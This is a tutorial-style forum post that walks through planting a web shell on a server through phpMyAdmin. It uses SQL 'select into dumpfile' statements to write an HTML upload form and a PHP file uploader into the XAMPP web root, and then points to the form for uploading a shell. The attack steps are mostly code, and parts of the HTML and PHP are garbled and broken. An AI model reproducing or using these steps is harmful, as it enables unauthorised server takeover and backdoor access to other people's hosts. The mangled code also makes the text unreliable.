I will teach you how to upload a shell from phpmyadmin:
The first thing to do is to have access to phpmyadmin.
Then create a database within phpmyadmin with the name you want.
After the database is created we go to SQL and we start to put the following scripts:
The first is this:
Code:
CREATE TABLE `NAME OF THE DB`.`userform` (
`track1` VARCHAR (1000) NOT NULL
) ENGINE = MYISAM;
After doing this we must give to continue and put a new script, which is this:
code
CREATE TABLE `NAME OF THE DB`.`user_upload` (
`track2` VARCHAR (1000) NOT NULL
) ENGINE = MYISAM;
After doing this second step insert the new script with the same steps as above, which is this:
Code:
insert into userform values ('
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
http://www.w3.org/1999/xhtml">
Upload file to the server </ title><br></br></ head><br></br><body bgcolor = "white"><br></br><div style = "text-align: center; margin-top: 60px; font-size: 25px;<br></br>"> & gt; & gt; & nbsp; Upload !!! </ div><br></br><div style = "border: 1px; width: 340px; height: 70px;"><br></br><form enctype = "multipart / form-data" action = "upload.php" method = "post"><br></br><input name = "userfile" type = "file" /> & nbsp;<br></br><input type = "submit" value = "Upload" /><br></br></ form><br></br></ div><br></br></ body><br></br></ html> ');</p><p>After uploading the third uploader script we go to the following script:</p><p><strong>Code: </strong><br></br>select * into dumpfile 'C:/xampp/htdocs/form.php' from userform</p><p>After doing this step we will insert the following script with the same previous steps:</p><p><strong>code</strong><br></br>INSERT INTO user_upload<br></br>VALUES (</p><p><$ php $ uploaddir = 'C: / xampp / htdocs /'; $ uploadfile = $ uploaddir .basename ($ _ FILES 'userfile' 'name'); if</p><p>(move<em>uploaded</em>file ($ _ FILES 'userfile' 'tmp_name', $ uploadfile)) {print '<body bgcolor = # 000> </ br> </ br> <div</p><p>align = center> <font size = 5 color = # ff0000> Uploaded successfully !! </ font> </ body> '; } else {print '<body</p><p>bgcolor = # 000> </ br> <div id = center> <font size = 5 color = # ff0000> Error uploading file !! </ font> </ body> '; } ">"</p><p>)</p><p>Already done this last but one step we go to the last script that will give us the privilege of uploading the shell to the main directory of the server:</p><p><strong>code</strong><br></br>select * into dumpfile 'C:/xampp/htdocs/upload.php' from user_upload</p><p>Once all these steps are finished we will have the privilege to upload shell to the main directory and to have access to the server or host. To go to the upload we must go to <a href="http://website.com/form.php">http://website.com/form.php</a> and we can upload the shell.</p><p>Greetings. :\0<br></br>m.ahmed</p>
Comments
No Comments Exist
Be the first, drop a comment!